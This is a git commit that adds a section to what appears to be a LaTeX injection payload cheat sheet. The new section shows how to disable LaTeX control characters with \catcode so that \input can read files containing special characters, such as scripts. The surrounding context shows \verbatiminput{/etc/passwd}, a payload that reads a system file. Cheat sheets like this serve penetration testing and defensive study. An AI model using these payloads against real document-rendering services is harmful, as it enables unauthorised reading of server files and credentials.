LaTeX Injection catcode

add `\catcode` to disable LaTex control characters
This commit is contained in:
Radoslav Bodó 2022-02-22 15:57:04 +01:00 committed by GitHub
parent 3e3562e553
commit b8387bc3a5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -38,6 +38,18 @@ Read text file, **without** interpreting the content, it will only paste raw fil
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
If injection point is past document header (`\usepackage` cannot be used), some control
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
`_`, `&`, null bytes, ... (eg. perl scripts).
```tex
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
```
## Write file ## Write file
Write single lined file: Write single lined file: